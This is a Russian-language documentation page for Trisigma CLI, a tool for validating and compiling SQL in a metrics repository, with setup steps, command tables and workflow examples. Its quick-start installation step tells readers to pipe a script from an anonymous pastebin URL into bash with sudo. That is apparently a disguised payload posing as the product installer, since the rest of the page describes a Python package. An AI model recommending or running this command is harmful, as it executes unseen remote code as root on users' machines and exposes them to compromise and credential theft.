Перейти к содержанию

Введение#

Добро пожаловать в документацию Trisigma CLI — инструмента командной строки для работы с репозиторием метрик в Trisigma.

Для кого: Аналитики и пользователи семантического слоя метрик

🎯 О Trisigma CLI#

Trisigma CLI — это инструмент командной строки, который позволяет:

  • ✅ Валидировать изменения в репозитории метрик локально, до создания PR
  • 🔍 Генерировать и отлаживать SQL-запросы для источников и метрик
  • 📊 Просматривать списки доступных источников, дименшенов и метрик
  • 🔄 Автоматически перекомпилировать SQL при изменении файлов (режим watch)
  • 🌿 Управлять Git workflow: создавать ветки, коммитить изменения, публиковать PR
  • 💬 Получать AI-объяснения ошибок валидации (опционально)

Улучшаем self-service и прозрачность слоя метрик! 🎉

📚 Структура документации#

Документация разделена на логические разделы для удобной навигации:

🔧 Настройка Trisigma CLI#

Всё что нужно для установки и первого запуска CLI:

  1. Требования и подготовка — проверь что у тебя всё готово
  2. Настройка Git и SSH-ключей — доступ к репозиторию метрик
  3. Установка Trisigma CLI — установка пакета
  4. Первый запуск — конфигурация и авторизация

🚀 Работа с Trisigma CLI#

Практическое использование CLI в двух режимах:

  1. Интерактивный режим (TUI) — графический интерфейс в терминале
  2. Командный режим (CLI) — классические команды для автоматизации
  3. Практические сценарии — реальные примеры использования

🔍 Дополнительные разделы#

🚀 Быстрый старт#

Для тех кто хочет начать немедленно:

1. Установка#

sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash

2. Настройка#

trisigma init

2.5. Клонирование репозитория#

Если репозиторий ab-metrics еще не склонирован:

git clone git@github.com:<your-company>/<your-company>_ab_metrics.git ~/projects/ab-metrics

Если репозиторий уже склонирован

Пропусти этот шаг. Подробнее: Настройка Git и SSH-ключей

3. Первая валидация#

cd ~/projects/ab-metrics
trisigma sl validate

4. Генерация SQL#

trisigma sl compile --source events

5. Интерактивный режим#

trisigma

Готово! Теперь можешь работать с репозиторием метрик локально! 🎉

📖 Что читать дальше?#

Если ты новичок#

  1. Начни с Требований
  2. Пройди все шаги раздела Настройка
  3. Изучи Интерактивный режим
  4. Попробуй Практические сценарии

Если ты опытный пользователь#

  1. Установка — установи CLI
  2. Первый запуск — настрой конфигурацию
  3. Командный режим — изучи все команды
  4. Практические сценарии — продвинутые примеры

Если что-то не работает#

  1. Решение проблем — типичные проблемы
  2. FAQ — часто задаваемые вопросы

💡 Основные концепции#

Два режима работы#

Trisigma CLI поддерживает два способа взаимодействия:

🎨 Интерактивный режим (TUI)#

Графический интерфейс в терминале для удобной работы: 

trisigma

Для кого: Аналитики, исследование репозитория, визуальный интерфейс

⌨️ Командный режим (CLI)#

Классические команды для автоматизации: 

trisigma sl validate
trisigma sl compile --source events

Для кого: DevOps, CI/CD, скрипты, опытные пользователи

Подробнее: Работа с Trisigma CLI

Основные команды#

Команда Описание
trisigma init Настройка CLI
trisigma Интерактивный режим
trisigma sl validate Валидация репозитория
trisigma sl compile -s <source> Генерация SQL для источника
trisigma sl compile -m <metrics> Генерация SQL для метрик
trisigma sl task <AB-1234> "desc" Создание ветки для задачи
trisigma sl save -m "message" Сохранение изменений (commit)
trisigma sl publish Публикация ветки (push + PR)
trisigma sl status Статус рабочего процесса
trisigma login Повторная авторизация
trisigma self-update Обновление CLI

Полный список команд: Командный режим

🎓 Примеры использования#

Пример 1: Добавление новой метрики#

# Создать ветку
trisigma sl task AB-1234 "Добавление метрики revenue"

# Отредактировать metrics/revenue.yaml

# Валидировать
trisigma sl validate

# Проверить SQL
trisigma sl compile --metrics revenue

# Сохранить и опубликовать
trisigma sl save -m "Добавил метрику revenue"
trisigma sl publish

Пример 2: Отладка SQL источника#

# Включить режим watch
trisigma sl compile --source events --watch

# Редактировать sources/sql/events.sql в редакторе
# CLI автоматически перекомпилирует при сохранении

# Сохранить финальный SQL
trisigma sl compile --source events --output events.sql

Пример 3: Валидация с AI-объяснением#

# Валидировать с AI-анализом ошибок
trisigma sl validate --ai-explain

# AI даст подробное объяснение проблем и решения

Больше примеров: Практические сценарии

🔧 Требования#

  • Python 3.13 (рекомендуется) — поддерживаются версии 3.9-3.13. Python 3.14 пока не поддерживается
  • Git — для работы с репозиторием
  • Доступ к репозиторию метрик — права на чтение в GitHub
  • Доступ к Trisigma API — домен https://<your-company>-conf.trisigma.io

Подробнее: Требования и подготовка

🆘 Нужна помощь?#

Документация#

Поддержка#

  • Trisigma Support Channel — общие вопросы
  • Trisigma Team Channel — техническая поддержка

Справка в CLI#

trisigma --help
trisigma sl validate --help

Начало работы#

Использование#

Справка#

📝 Обратная связь#

Trisigma CLI — активно развивающийся проект. Твой фидбек очень важен!

Помоги улучшить CLI: * 💡 Предложи новую функцию * 🐛 Нашел баг — опиши его * 📖 Нашел ошибку в документации — скажи об этом * ⭐ Тебе понравился CLI — расскажи коллегам!

Контакты: * Trisigma Support Channel * Trisigma Team Channel

Удачи в работе с метриками! 🚀